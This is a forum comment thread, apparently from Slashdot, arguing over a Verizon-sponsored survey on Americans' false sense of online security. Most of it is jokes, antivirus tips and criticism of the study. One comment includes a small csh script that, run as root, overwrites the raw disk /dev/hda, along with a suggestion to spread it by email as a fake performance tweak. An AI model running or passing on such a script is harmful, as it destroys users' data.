3. The signature of the official mentioned at 2 above should be witnessed.

4. The guarantee must be dated and have no expiry date.

Re:The best protection is a smart user.

[Phaldor]

You do know that the use of the comment "get pregnant" applies to the couple as a whole, not the individual who possesses said penis?

Re:The best protection is a smart user.

[mh1997]

You do know that the use of the comment "get pregnant" applies to the couple as a whole, not the individual who possesses said penis?

Yes, but it is not as funny if you assume the comment applies to the couple.

Re:The best protection is a smart user.

[Phaldor]

true....I did enjoy the leagalese :-)

Re:The best protection is a smart user.

[BenoitRen]

I try to stay on sites that I trust

You can't trust any site. They can be hacked. Their remote content could be hacked. It happens, and that way malicious code shows its ugly rear.

Still, as long as you aren't using IE and don't accept sudden download prompts, you should be fine. I mostly practice the same as you.

Re:The best protection is a smart user.

[BenoitRen]

Firefox fixes vulnerabilities before they're exploited in the wild. That's what counts. And in the rare occasion that such code exists in the wide while Firefox is vulnerable, they'll quickly push out a fix, like happened one time in the past already, in only 9 days.

Re:The best protection is a smart user.

[Anonymous Coward]

You DO realize that you just issued a challenge to the Slashdot community, right?

What am I supposed to do?

[maillemaker]

Look, my Windows machines auto-update themselves, and I have AVG running, which also updates itself. I have a firewall downstream of my modem and upstream of every other machine on the network.

What else can I do?

My wife is constantly playing and downloading games from the internet. No doubt she is polluting machines on our network.

Basically my approach to security on my home machines is I wipe them and rebuild them every 6 months or so, in case there is some hidden malware on there that has turned my machine into a zombie.

What I would really like is a "smart firewall" I could buy and put in place of my current firewall. This device would monitor all network traffic going in and out of my house, and it would stop the bad things from going through. It could even be a service whereby the device is managed by some security firm and I pay them to protect my network through this device.

Re:What am I supposed to do?

[Bert64]

Don't give her privileged access to any machine...
If you screw up your own account, wipe that user's files, the rest of the system should be fine and you can re-create the user.

Re:What am I supposed to do?

[RobBebop]

it would stop the bad things from going through

If only we had some way to differentiate "good traffic" from "bad traffic". Something like RFC 3514...

Re:What am I supposed to do?

[kilgortrout]

You've never been married, have you.

Re:What am I supposed to do?

[crabpeople]

"What I would really like is a "smart firewall""

Try downloading untangle.

Re:What am I supposed to do?

[Anonymous Coward]

What else can I do?

sell all those PCs and replace them with Macs. seriously, it's what you should have done to start with

94%?

[Delusion_]

This would be the target demographic of the malware antivirus attack, where a site does a browser hijack, slows your computer to a crawl, then starts bombarding you with ads for its "solution" to the problem its own malware caused.

There is no single answer here. Affordable (or free) antivirus software that actually works would be a start, providing it isn't on the McAfee/Norton bandwagon of getting you to pay for a subscription and using up a fair amount of resources when running. There are good community-governed host file lists which can be a real help on many different levels - adware, phishing, malware, viruses, and some of the more onerous types of advertising. User education about basic practices is key - I'd like to see some Public Service Announcements on this, in the style of some of the American Lung Foundation's 1970's PSAs.

I have to tell people over and over: "It doesn't matter if you trust Jackie not to send you a bad file. You also have to trust that Jackie is vigilant about computer security, and that she knows a lot about the subject. You also have to trust that her computer hasn't been compromised, or that her e-mail isn't a spoof, which requires you to understand a lot about message headers at the very least. Is an animated stripper dancing on your start bar really worth the risk?"

Re:94%?

[Anonymous Coward]

Affordable (or free) antivirus software that actually works would be a start...

I highly recommend Avast. Cnet gave it 5 stars and it's absolutely free. I learned about it through Evolt - a web design group I belong too and my husband and I have had it for years. It has performed admirably. He has installed it on quite a few computers that belong to friends and relatives and none of them has gotten infected with a virus (knock wood!). Many of these people know how to do email and not much else. It updates its database files automatically and quite frequently - sometimes more than once a day. It gives you a reassuring sound byte, "Virus database has been updated!" to let you know. It also pops up a warning (with sound) to let you know if an email has a potential infection. The pop up describes the nature of the danger, then it gives you a choice to continue or delete from the server. I have no affiliation with this company, I just think it's great, in a world full of expensive products that don't live up to thier hype, to find a free product that more than meets expectations.

Re:94%?

[Anonymous Coward]

Affordable (or free) antivirus software that actually works would be a start...

I highly recommend Avast. Cnet gave it 5 stars and it's absolutely free. I learned about it through Evolt - a web design group I belong too and my husband and I have had it for years. It has performed admirably. He has installed it on quite a few computers that belong to friends and relatives and none of them has gotten infected with a virus (knock wood!). Many of these people know how to do email and not much else. It updates its database files automatically and quite frequently - sometimes more than once a day. It gives you a reassuring sound byte, "Virus database has been updated!" to let you know. It also pops up a warning (with sound) to let you know if an email has a potential infection. The pop up describes the nature of the danger, then it gives you a choice to continue or delete from the server. I have no affiliation with this company, I just think it's great, in a world full of expensive products that don't live up to thier hype, to find a free product that more than meets expectations.

I think there's a more telling bit of evidence ...

[ubrgeek]

"Hi. I'm with Verizon. We're trying to see if your computer is secure. Mind if we scan it for vulnerabilities?"

When they answered yes, why bother to go any further? In my mind, they're obviously potentially victims for spear-phishing types of attacks.

I know I'm secure

[gEvil (beta)]

I know I'm secure. I use only genuine Microsoft products. I remember seeing an ad that said that they're the most secure computer company there is.

Re:I know I'm secure

[$RANDOMLUSER]

Yes, they're a very secure company. Their operating system, however...

Whatever gets you through the day

[wattrlz]

I'm pretty sure online commerce would come to a screeching halt ( "Oh N003355!! My Pr0n tax $$$s!!!111eleven!", cries the establishment) if the great unwashed masses ever knew that their main, and possibly only, line of defense was safety in numbers.

In Other News

[Fnord666]

In other news, 92% of all drivers feel that their driving ability is above average.

Re:In Other News

[Kingrames]

to be fair, around 50% of them actually are.

Re:In Other News

[ABoerma]

Well, to be honest, at least 8% is pulling the average down significantly.

Re:In Other News

[Anonymous Coward]

stats pedantry:
No, 50% are above (or equal to) the *median* value.
The number above/below the average/mean value depends on the distribution.

Re:You could always

[Anonymous Coward]

Well some bleach oughta remove that from my eyes. Thank you sir.

headline

[The Clockwork Troll]

Most In US Have False Sense of Security

There, fixed that for you.

Not to Worry - It's Balanced

[Anonymous Coward]

...by an false exaggerated sense of insecurity about other matters, such as risks of getting blown up by terrorists, being victimized by a serial murderer, etc.

Sensationalistic much?

[moosesocks]

Let's keep this sort of journalism on Dateline please.

The world is a dangerous place. Somehow, I think that humanity will soldier on nevertheless....

lulz

[thatskinnyguy]

*GASP* I thought AOL was keeping us all safe online!

Re:lulz

[$RANDOMLUSER]

ME TOO!!

Most in US have false sense of common sense

[Anonymous Coward]

And security done right is way more complex than that.
Shocking, isn't it?

Computer Literacy & Education

[schmaustech]

The real problem is that the average user does not understand or care to understand about security and the risks involved with surfing the internet's. All they want to do is surf the web and write their relatives. Further, the computer hardware and software makers make everything so easy to just plug in and access the internet, that a user is never required to really understand the security perils and risks.

What we need is a Computer License. Something similar to a drivers license, where you go and take a written exam and then take a hands on exam to determine if you are capable of securely operating and understanding a computer that is connected to the internet's.

Oh wait, that would probably not work. After all, there are millions of licensed drivers in this country and many of them still cannot drive safely.

Disregard.

My computer is secure

[painandgreed]

My sense of security isn't false, I have a Mac. (No matter how true that is, yes, that was supposed to be moderated as 'funny'.)

Hear hear...

[the_skywise]

I've got several family members machines that I've got the firewall on, spybot installed (and immunized) and AVG and they still get spyware out the wazoo because they click "yes" to "ya wanna install this nifty search toolbar?"

I've got a cousin that calls me up about twice a year because she ran a game she downloaded off the internet and it trashed her system. She's got the same, firewall, spybot and AVG and I've instructed her on safe computing habits...

I run all that AND firefox and I still got infected with a trojan because of a javascript hack while viewing a picture...a... PICTURE via Digg! I run noscript now, obviously...

What can you do? If anything all this "protection" makes people think they're "safe" and can do stupid things...

For Windows users.

[Endloser]

"Ninety-four percent of those surveyed said they would find it helpful to be able to diagnose or check their online security status on a regular basis to make sure their PCs were safe." run windows update and update your anti-malware products. Oh yeah, you also need to build a wall of fire in front of the opening to your tube.

There are always ways around.

[jellomizer]

You always need to be vigilant. You can't trust a software program to keep it safe. There are work around and security breaches for every platform. Even Linux or Macs...

*** DO NOT RUN THIS UNLESS YOU ARE STUPID *****
#!/bin/csh
set uname = `whoami`
if $uname == 'root' then
      echo "Installing..."
      while (1)
              echo "YOU HAVE BEEN FOOLED" >> /dev/hda
else
      echo "You need to run this program as root"
end

Now if you want to be fancy and actually make it like a virus you make it to scan your drive for email addresses first email them using mail with a message. Hey I just got this Linux script it really improved performance try it out. Then it goes to messing up your drive...

Chances are it will trick most linux users out there. Because they feel that they are protected against anything. And most don't check the scripts because they feel it is to complicated for them.

Re:There are always ways around.

[jellomizer]

Yes it probably won't work because I forgot to end the loop I wasn't going to go debugging it on my system...

Must have a false sense...

[flogger]

I must have a false sense of security. If I see things realistically, I am going to have to don a tin foil hat and end up like the protagonist in John Varley's excellent story, "Press Enter."

Most in US have false sense of security: News @ 11

[amcdiarmid]

I think this is a piece of research that anyone with a brain knows, and won't be accepted by those without one.

$.02: don't even have to read the article - just the post saying it's a perennial dupe

I Smell Corporate Marketing, and /. fell for it

[StickyWidget]

the Radialpoint Software[me:the security advisor maker], in its default configuration, does not block ads from third parties or Verizon or its affiliates and business partners, and may not identify as spyware certain websites and applications from Verizon and its affiliates or business partners, Radialpoint Inc. and/or Verizon and its affiliates have the right and do access and modify the Software as well as the software (including registry settings on your computer) and/or your hardware for various purposes in connection with the Verizon Internet Security Suite (e.g. for the installation and implementation of the Software and updates to it) as well as to download, install and/or gather, obtain, collect and then use, in relation to the delivery and operation of Verizon Internet Security Suite, various information and data, including information necessary to identify you and your computer to ensure that Verizon Internet Security Suite is received as well as information necessary for the reporting of this service, and (iii) use of such information and data by Verizon will be in accordance with Verizon's privacy policy.

Lemme translate: This software collects data about you when you run it, will continue to collect data about you, and if Verizon's business partners happen to be skeeze, they won't warn you about their spyware. Do. Not. Want. By the way, by using their security advisor, I agree to use their "Internet Security Suite" as well. Which reports on me, and allows Verizon to edit settings on my computer. Sounds a little like remote access, yes?

Here's another thing: On the installation page itself, it says "Administrator rights are required to install this software." So that means that this ActiveX has access to ALL KINDS of fun functions and methods. Who is to say this can't be hijacked and turned into a mal-ware infection source?

~Sticky
/Cannot believe this made the front page of Slashdot.

Re:I Smell Corporate Marketing, and /. fell for it

[Anonymous Coward]

Well, I thought I'd give it a try to investigate the methodology of the study a bit more and installed and ran their security advisor on one of my Virtual Machines.

The Security Advisor classifies a system into one of three categories, "at risk", "potential risk" and "minimal risk", which in my opinion is a great choice when the questionaire of the study apparently has ratings such as "safe" or "somewhat safe". Or Not.

The software tests 3 criteria:
-Firewall
-Anti-Virus Software
-Spyware protection

Pretty thorough analysis.

My PC ended up being "at risk", the worst category, because I was running an antivirus and spyware program that the test suite didn't recognize. My windows firewall passed as "working properly" though.
Fortunatly for me Verizon was kind enough to add various buttons to help me "get peace of mind with the Verizon Internet Security Suite".

Thanks Verizon!

Sales Pitch

[Frosty Piss]

...independent research study conducted for Verizon...

In a related story, Verizon has a $29.95 / month package just for the consumer worried about this sort of thing.

Oh jeez

[geekoid]

Also note, that while 98% of the people walking on the sidewalk felt safe, 100% of them were vulnerable to attack!

I've been using home computers for as long as there have been ghome computer. The number of viruses/Trojans:
1 Trojan the was on a floppy being circulated for the Apple IIc.
1 virus I compiled while doing security work.

Until two years ago, I never kept a virus checking service on my pc. I just ran virus software once every couple of weeks.
Two years ago I was contracting and some people freaked out when they found out I didn't have a virus checking service running 24/7.
So I installed AVG free because it is a lot less resource intensive then other anti-virus software.

zomg muggers

[DeeQ]

95% of americans have a false sense of security when it comes to walking down the street and being vunerable to a mugging!!!!!

You're on the wrong site

[RLiegh]

Asking slashdotters for advice on securing windows is akin to asking people on a windows forum for reasons to switch over to linux. They're not exactly unbiased, know what I'm saying?

Re:You're on the wrong site

[Kirth]

You'd be surprised how many slashdotters use windows nowadays. Count the postings. How many of those mention they use windows? How many of them give tips on securing windows other than switching to linux? How many told you you are an idiot and should use linux instead? As I read the comments (some 60), none of them did the latter. So I do: You are an idiot and should switch to linux instead.

There, you got it. Reason to complain about the biased slashdot-crowd consisting of ME.

Re:You're on the wrong site

[RLiegh]

>How many of them give tips on securing windows other than switching to linux?

Apparently twitter and erris slept in this morning.

It bears repeating here,at this time

[zappepcs]

We do NOT need to protect our children from the evils on the Internet. We need to protect people in general. While the US might have more people who are gullible, there are gullible people all over the world. Computers are not simple to use and operate like a toaster, or other kitchen appliance. Even if they were, one look at the statistics of fire departments on the day before and the day of Thanksgiving should tell you that people, in general, are not competent to operate anything more complex than the shoestrings of their shoes.

You can buy a car that costs less than some computers, but still need a license to drive it, and insurance in case you get into a wreck. Why should computing be any different? Oh, don't believe in the nanny-state? Well, stfu about kids needing protection from the evils of the Internet. Yes, give me that argument that motor vehicles are a life and death issue, or could be. I'll argue this, losing your identity or giving your life savings to some Nigerian prince is more or less a life and death issue, especially if you need that money in the near future for heart medicine.

The point is, and well demonstrated in this report, that NOBODY is safe, and not just kids need some training and guidance. Using the Internet is not a game, and people should be taught better how to use it and avoid the pitfalls of modern life. If it sounds too good to be true, well it probably is. If someone is advertising it in an email, it probably is something you don't need or can live without. That goes also for television and other advertisements.

I think that it is high time we, the human race, began to look at things a bit more intelligently. False sense of security? If it were not for Dept. of Homeland Security, most people in the US would think that flying was safe. This and other such campaigns are not about raising awareness or traning, it is about selling antivirus and antimalware software.

Why this should come as a surprise to anyone is beyond me. How long did it take to get people to wear seatbelts? The public, at large, is wont to believe experts, yes, but this is true despite the news that those same experts are paid by large corporations more often than not, and have been shown to be less than 100% honest.

How long before 'made in China' means it is a lethal device? (won't happen) How long before people riot in the streets because the food we eat is not labeled correctly? (won't happen). This is just one more thing that the US populace in particular is blissfully ignoring. If you have to spend 2-6 months salary on something, you tend to figure out how it works and treat it with care, take it in for tune ups and such. How many reading this know of one or more people that just go get another pc when theirs acts up, or becomes slow?

Ranting done. If you can't get people to read directions on the kitchen appliances, or cleaning recommendations on the tag in their clothes, you can't protect them from the evils of the Internet. Who would have thought we'd need instructions (too small to read) on cigarette lighters to stop them from ending up in baby's mouths? or warning notes on coffee cups that the contents are hot? I don't want to imply that people are ignorant... but

Re:It bears repeating here,at this time

[Nonillion]

"look at the statistics of fire departments on the day before and the day of Thanksgiving should tell you that people, in general, are not competent to operate anything more complex than the shoestrings of their shoes."

This couldn't more true, thanks for putting a smile on my face today. :)

Re:It bears repeating here,at this time

[Phaldor]

Congratulations....you've said what I would have if I had the proper words. I have immortalized you in a small fashion by putting your comments verbatim on the front page of my business site www.phaldor.net if you disagree with this, please let me know.

Re:It bears repeating here,at this time

[Anonymous Coward]

Why this should come as a surprise to anyone is beyond me. How long did it take to get people to wear seatbelts? Furthering that..how long did it take to actually get seat belts standardized and actually into cars?? Just ask Ralph Nader, he wrote a book about it.

Re:It bears repeating here,at this time

[zappepcs]

LOL, had I known it would be (gasp) read and repeated, I might have been more careful with my writing style. Go ahead, doesn't bother me a bit :)

Re:It bears repeating here,at this time

[Phaldor]

The most honest writing comes from the initial draft....notice that this is not to say it's the best, just that it truly reflects what you believe to be the brutal truth. This style of writing is what I enjoy the most. Thank you!

Re:google.com

[Anonymous Coward]

Dude. Off Topic.

Safe to say...

[Panaflex]

Most people probably feel the same way in the real world.

Warning!

[Anonymous Coward]

You are broadcasting an IP!

(That's one of my favorites!)

Testing the wrong thing

[bpotato]

I do not doubt the numbers this (and other) studies found concerning how secure machines are. HOWEVER, I believe they are testing the wrong thing. Let's compare their claims to a real-world security issue. Do you feel secure in your home? The majority of people would say "yes". But wait! We could conduct a study and discover that the vast majority of homes do not have break-proof glass windows. Many people do not engage the dead-bolt on their door when they leave. Many doors are not credit-card-proof on the simpler lock. For that matter, many doors are not solid enough to prevent being forced with enough of a running start by an invader. Oh my! Lots of people leave their doors completely unlocked and maybe wide open when they go check the mail out at the street!

LOOK AT ALL THESE SECURITY HOLES! People are so very confused about the security of their houses!

I think the example shows that the only real test of whether a machine proved "secure" is whether it got compromised or not. "Could be compromised" does not matter. The only way to fully secure a machine is to detach it from all networking, sink it into a 20-ton block of concrete, and drop that into an undisclosed location in the middle of the Pacific. No, wait... you also have to kill all the witnesses and arrange for tectonic activities to have the block go under into the magma too. Once the computer is goo, I have reasonable expectations that it will be safe!

Since "secure" is an unrealistic goal, a better goal would be "secure enough", which is very dependent upon the person, their practices, and their needs. If I burn a full backup of my system every few months, and everything I do between the backups is reasonably recreatible, I argue that my system is "secure enough" for my needs. Whether it has glaring holes or not. I think, however, that doing a study on whether people's machines are "secure enough" would present some serious challenges.

Re:google.com

[SevenDigitUID]

Name address and phone number. What's the problem? Its all the same crap that is in the phone book. Or yellowpages.com, or whitepages.com, or phonebook.com.

Danger

[Archangel Michael]

Danger is everywhere. Yet we live in a Nanny State because so many people do things without thinking, and are involved in things that they really don't comprehend the dangers that surround them. We live in a society that tries to protect the dumb from their stupidity, and the rest of us from the idiots we know everyone else are.

The problem is, we don't let nature fix the problems anymore, but blame shift everthing away from where it actually belongs. We all know the lawsuits that have created this Caution Label society, and we've seen these warnings that have us bemused beyond belief.

It is now to the point that everything comes with a long list of warning labels to not do something stupid while using a product that is semi dangerous, and should be recognized as that by default. Hot things burn, sharp things cut, electric things don't like water, power tools are dangerous. There should be no warning labels needed for these things, and if 99% of the people can use something responsibly, the 1% that can't or won't shouldn't be able to sue because they are stupid.

The false sense of security arises from the idea that we should be safe, and society should protect us from our stupidity. I'm sorry, no amount of protection can stop stupidity. I say this having been stupid in times past, but I don't expect society to cover my own stupidity.

Key point

[gillbates]

The interesting thing about these studies is that they often conflate "computer users" with "Windows users". The problem is, that as a Linux user, I have no need to run anti-virus software or a firewall. I know which services are running on my machine, and have accepted the security risk thereof. But, consequently, we, (and the Mac users) get counted in the insecure group because of the faulty study methodology.

I really don't think most users expect their machine to be secure. Microsoft Windows has been insecure for so long now that getting hacked is just expected after a certain period of time. In fact, I had a rather interesting conversation with an anasthesiologist:

Him: I'm thinking about buying a new computer. What kind should I buy...
Me: (I rattle off some specs) Why?
Him: Well, it's slowed down again.
Me: Well, why don't you just run Linux.
Him: Well, I do a lot of gaming. I figure you're going to have to replace your PC once a year, anyway.
Me: Why don't you just format and reinstall, and get yourself a good virus scanner and firewall?
Him: What, do all that work? And then I have to reinstall everything? No, I'll just buy a new PC.
Me: But you're just going to have the same problem a later on. You'll get infected by a virus, etc... and you'll have to buy antivirus software.
Him: No I won't - I'll just buy another PC. It's not worth my time to do all of that antivirus and firewall stuff...

Words failed me at that point. But he did have a point. Most users believe that computers "just wear out" and slow down like an old automobile. They think that virus infection is a normal part of owning a computer.

The problem isn't Windows, per se. It's that people don't expect any better.

Re:Key point

[3p1ph4ny]

For some people it's more economical to buy a new computer than to spend time fixing the old one.

Re:Key point

[Phaldor]

Where do you find these morons....*ahem* I mean people? I'd love to get about 10 of them on really good terms so that I can slyly suggest that they just hand their "broken" computers over to me for disposal (read: reapplication as a Linux machine).

At least that way they'll be removed from the botnets and slave networks and be put to good use....

Re:Key point

[Anonymous Coward]

this is surprisingly effective. People just want their "broken" pcs off their hands. Trouble is, most of the PCs i've picked up this way had shitty specs...still, theres nothing cheaper than free.

Re:Key point

[pandrijeczko]

The problem is, that as a Linux user, I have no need to run anti-virus software or a firewall.

Whilst, as a mainly Linux user myself, I get part of what you are saying, I think the statement above is a little too self-assured.

You do not ***CURRENTLY*** need to run Linux anti-virus because there are no Linux viruses to speak of. And whilst a virus depends on some piece of common software (like Outlook Express) running on a huge population of PCs in order to spread, it's unlikely to find a common piece of software amongst the myriad of Linux distros out there. But please remember that viruses spread through applications having high access levels to the OS - the same people running apps at adminstrator level on Windows are probably stupid enough to do so at root on Linux also.

As for not needing to run a firewall, be careful what you say there. Sure, a hardware router running NAT on your Internet connection does block any incoming traffic provided that you're not running services out to the Internet, thus making most of what a firewall does redundant in that situation. But if you are running services through, say DynDNS, then a firewall on the PC running those services does give you much greater degree of fine tuning just who can and cannot connect to that service whereas on the router you probably just open or close the port and that's it.

I also work as a security consultant and I always recommend to anyone that they should always deploy multiple layers of security where it is economical to do so. It is not just about keeping crackers out of a system, but also putting so many layers of security in their way that they eventually give up and lose interest.

You know it's hard to keep a streight face...

[CFBMoo1]

.. when your watching your boot CD scan pick up hundreds of infected MP3 files on one machine while on the other the 'midgits' directory is hitting a home run on the AV scanner as the owners ask how it possibly could happen to them when they had AV software. Some days I really loved my old job.

Like it or not ....

[King_TJ]

I think the responsibility for spyware/virus resistance has to ultimately lie at the feet of the operating system developer. The very idea that users should be expected to pay for commercial add-on software packages to prevent these problems is a triumph of marketing/advertising -- but is really a big ripoff for the consumers.

When you think about it, the entire idea of naming these mal-ware programs "virii" is all part of the marketing game. The average user understands how colds/flus and other infections work in the "real world". Eventually, you're going to get sick. There are some "common sense" measures you can take to reduce your risks (washing your hands often, insisting people cover their mouths if they cough around you, ensuring you've taken enough vitamins and got enough sleep, etc.) - but ultimately, nobody goes through life without ever catching a cold. Given enough time, one's immune system weakens enough to let something past that wouldn't have gotten past before.

In reality though, a computer virus doesn't have much in common with a real-life virus. Computers don't just spontaneously "catch" one because they're in close proximity to another machine that's already infected. In fact, assuming a computer is set up properly to begin with and it runs a specific set of tasks that don't get modified, it's almost certain it will NEVER get a "virus". (Take for example, a Novell Netware server that sits for years serving files and handling print services, but doesn't have any applications actually run on it. Have many virus issues with those?)

Nevermind that, though. It's MUCH more profitable to perpetuate the "scare tactics", making the "average user" think computer virii are inevitable.

IMHO, if developers can't build an OS that's truly resistant to mal-ware, then it's their job to at least include code that helps defend against it. Microsoft's inclusion of "Windows Defender" in Vista is a half-hearted start. It's the right idea, but a poor implementation - since competitor's products are noticeably better at doing the same job. Making all of this the OS developer's job makes the most sense, because it's THEIR code that's under attack. Nobody should know better than them how to protect it. Certainly, the "average end user" knows the least (and forcing them to learn more just lessens their enjoyment of the whole experience of using said product).

The scans revealed, what a load

[John Sokol]

  These scan's are worthless. First they will keep beating on you about MS updates and stuff that not all of us want. Some of us still want to actually do real things with out PC's and don't appreciate the very large performance hit that comes with a full scan of our 50 gig raw video files before we can open them.

  Also as long as you don't browse porn with MS IE, something large percent of those vulnerabilities don't apply.

  Also if you are behind a NAT such as a linksys routers again a very large percent of those vulnerabilities don't apply.

  Also I find elimination of myspace addicted teens fixed almost 99% of all problems.

  Don't believe the Hype unless it believe you.

Lions Vs Gazelles

[Anonymous Coward]

I watch National Geographic and Animal Planet a lot. The gazelles act threatened when the lions chase but they should rightfully have some sense of security because every time it happens only one of them turns out to have been wrong. MY sense of security comes from having updated security programs,watching for stupid crap, a $50 limit on my credit card losses, 15 years of ALWAYS wanting a newer PC and wishing for an excuse to get one(until Vista anyhow)and nary a more serious problem than some wierd-ass internet explorer audio spam thing that occasionally plays strange voices and music. Maybe was published because Peter Norton needs a new boat...

Telling bits...

[sabt-pestnu]

The real problem: of the 59% "who were actually vulnerable", how many allowed the previously unknown company iTracks to run (what they called) a security check on their computer? How many of the other 41%? How many verified iTracks in any way whatsoever? Even if they really were what they said they were, if they allowed iTracks onto their computer without checking, they really are vulnerable.

The scaremongering: of the 59% "who were actually vulnerable", how many had already succumbed to some online threat - discounting iTracks, that is? The article doesn't say...

Or as bad: from http://www.marketwire.com/mw/release.do?id=799704:

The tool [Verizon Security Advisor, from Radialpoint], which is now available free of charge from Verizon to all Internet users (http://www.verizon.net/securityadvisor), ... allows users to scan their PCs for the presence and proper functioning of virus, spyware or personal firewall protection software ... which leaves you to trust the tool to rate the AV software and firewall you have. How well does it do that rating? Who's to say they have no bias, or make a judgement based on obsolete or faulty information?

And a last tidbit for the paranoid: Running without images or javascript (my own paranoia showing), TFA is completely obscured by an ad for Qualys, a company guaranteed to have a vested interest in a scare like this. Particularly a corporate scare.

Hope you've a sufficient supply of slightly iodized sodium chloride on hand.

Vulnerability != Risk

[Alexander]

We will only be free of nonsense like this study when the mainstream realizes that vulnerability is not the same as risk.

I'm always surprised by that answer

[HangingChad]

Basically my approach to security on my home machines is I wipe them and rebuild them every 6 months or so, in case there is some hidden malware on there that has turned my machine into a zombie.

I find it shocking that Windows users just accept that as part of the cost of doing business. Can you imagine a Linux distro suggesting you reinstall every six months? No cracks from Ubuntu users which releases on a six month cycle. You get my point. MS would have a field day with that.

Every virus infected Windows machine I've fixed the owners all said the same thing. They had AV and had automatic updates enabled, and usually that was true. They got infected anyway. The ultimate irony is that I use Knoppix to resurrect the deaders and retrieve their data.

somebody tag this article FUD

[indy_Muad'Dib]

i have a win 98SE comp thats been on the net for 7 years, only powered off for hurricanes (dont move to florida).

never had a single problem, not one fuckup.

as long as your not a complete retard in your surfing habits you'll be just fine.

But still, they do.

[Anonymous Coward]

And why shouldn't they? Honestly, "average users" shouldn't have to be computer security experts. Average users use computers to play or do productivity tasks unrelated to software development and computer science. The fact is, the average user shouldn't have to be "computer savvy" and running spyware cleaners should do just that. Blaming "average users" for the fact that such dangers exist is missing the point.

I wouldn't blame them. Obviously, they didn't create the problem. But nothing changes the fact that "average" users do have to be knowledgeable about computer security in this day and age. If they are not, they WILL become a botnet member. They WILL get taken advantage of in due time.

And so I did the only thing I could do to combat this: I created a free class on basic computer security and taught it. It's true, though. Education will not eliminate the threat. I doubt that anything we can do will eliminate the threat. But even if I can't fix the world, I will still help clean up my corner of it.

Easy to do, thanks to RFC 3514

[Digital_Quartz]

I'm surprised such a router isn't readily available, especially with the new "evil bit" in RFC 3514: http://www.faqs.org/rfcs/rfc3514.html :P

The stealthy malware...

[DrYak]

I don't have any virus scanner or malware blocker, or firewall or any kind of security software whatsoever installed on my computer.

And probably, you're among the few that indeed don't have virus running on their machine.
Most likely because, as you said, you *DO* have a brain and actively try to limit your exposure to sources of malware (unusual websites that could exploit bugs to install malware without your interaction, opening untrusted attachmetns, and all other example you give).
(Note in addition to running from time to time ClamWin, another possibility is to use FireFox extension and post-download script in most download software to selectively scan new coming files).

The internet is full of people prancing "I have no resource-sucking Anti-Viru$ $oftware, but I have no virus !". And given the the statistic about the spread of infected computers part of botnets, we may anticipate that, sadly, unlike you, most of those are probably just infected by viruses who make a big deal in staying stealthy.
This is even more likely today because :
- Botnets are a huge market, virus maker got to keep low profile in order to keep their Zombies. The times of "I'm in Ur computer, formating your files !!!" are long gone.
- Their attack are widely distributed, which means the workload *per infected PC* is very low and doesn't consume too much resource.
- Root-kits are getting popular even with Script-Kiddies and when the infected user tries to run a check just to be sure it may be too late and the root-kit is hiding everything.
- Multi-core chips from Intel and AMD are getting popular. They aren't much useful for average Joe's casual surfing/mailing/IMing/typing and occasional gaming. But they make the impact on ressource of a running malware even more discrete. An infected Zombie isn't crawling to death anymore.

In fact, a lot of people who are buying new computers because "the older one has gotten too slow" may have crapware-loaded machines. At least when they did change their machines, they replaced them with new machine, clean of virus, at least for some time.
Now as multi-core setups are limiting those problems from getting apparent, the users aren't even changing their computer anymore, and more PC stay infected and connected to the net.

People should learn "to use their brains" when on the inter-tubes. But sadly most of the users want a hassle free experience, the most easy possible.

... In Other news...

[leadfoot]

The world is round, details at 11....

You what this sounds like?

[Orig_Club_Soda]

It sounds like the Bush admin and Guiliani and the 9/11 rhetoric. Level of secure-ness is one thing, but so is the level of likelihood to be a victim. These guys assume that every individual will suffer an attack.

No choice.

[maillemaker]

>I find it shocking that Windows users just accept that as part of the cost of doing business.

My home PC is primarily for entertainment (games). If you want to play games on your PC, it means you have to run Windows. I understand some of the emulators are getting pretty good for Linux these days, but I'm skeptical about it 1) working and 2) not taking a performance hit.

If all I did was surf the web and read email I'd be all over Linux.

Re:No choice.

[magus_melchior]

If the current state of VMs aren't up to snuff, you could get a large external HDD and copy disk images or full archives of uninfected machines. Not quite as fast as deleting a compromised VM and fetching another, but close, and less painful than a full reinstall of everything.

I second crabpeople's suggestion of using a security app on the router/gateway (which you can make from a cheap Linux box). I haven't tried untangle, but it's worth a look (and it's GPL).

Most In US Have False Sense of Online Security?

[tristian_was_here]

I'm surprised the White House website does not have some sort of "threat level" for online use...

Oh wait then again... grisoft.com already has one.

ISPs (fail to) play a big role in this

[jmeboi]

Ignorance aside, one of the larger and more disturbing problems with online security are the lack-luster, wholly incomplete, all-in-one security suites offered by many ISPs (Verizon, Comcast, AOL, Earthlink). These suites fully appeal to all of the best American values - they claim to offer an all-in-one solution that once it is installed you simply click and walk away. We don't need to know how to use them so there is no learning involved, they claim to cover everything so no more worrying about multiple programs to cover the vast array of computer security and best of all to Americans - they're free; and since they are usually associated with some heavy hitter in the tech-sec realm, like Norton or McAfee they are trusted. But, these are very expensive programs backed by ongoing and costly R&D and updates so it's a pretty good bet that they and your ISP have not teamed up to offer anything other than a watered down version of what is available for consumer purchase. To further this ISPs are playing to desire as Americans to be ignorant and lazy by touting the fact that the consumer doesn't have to lift a finger but this is simply not true. They need to be updated and you need to make sure they are actually running. Not to mention that file monitors, though a great tool, need the support of regular virus scans and virus definition updates. Simply having these programs to check for viruses, spyware, adware etc. taking up space on your hard drive is not enough, they need to be run on a regular basis; otherwise free up that space on your hard drive, there is a trojan that is looking for a place to park. Finally, in the battle for online safety and protection of privacy these "do it all" security suites are not doing anything at all in one huge, key area.....firewalls. It is still the individuals responsibility to ensure that your computer is protected in this way. With a strong enough firewall properly configured and running you should know what network connections are being made by your machine and why. Criminal activity on your machine is not limited to people trying to get in, but also to an array of hidden gremlins that watch everything you do and transmit that information via the internet back to their masters. By the time the tech-sec vigilante catch up to a new threat and update spyware scanners to find them it may already be too late to protect your machine, or your bank account. It is a strong firewall that will tell you something is trying to connect and give you the power to refuse that vital link to your personal information.

I took the test

[matsuva]

I tried the Verizon security test and i think it is worthless. It stated my last antispyware update was 27 days ago, in reality i updated yesterday. It stated that the last complete scan i did with Avast antivirus was 271 days ago, last full scan was last week. Basically all they want you to do is buy their security suite by giving you a false sense of insecurity, i don't understand why this bs is propagated on slashdot. Did the editors finally give in to corporate pressure? Is this some kind of product placement? Thumbs down for this one.

False Sense of Security Day!!

[Anonymous Coward]

False Sense of Security Day

We could celebrate by passing out CDs with Teh Lunix, or encourage people to get OSX, and advise all of them to not use a virus scanner "because only Windows gets viruses!!"

We can also tell people not to check any security web sites, since they might find out how insecure our pet OS is, and thus ruin the spirit of the day.

Wow, this could be a huge coup for Teh FOSSies!! Nobody does security by obscurity better than Lunix and Apple!

Not in Australia

[definate]

It's the reverse in Australia.

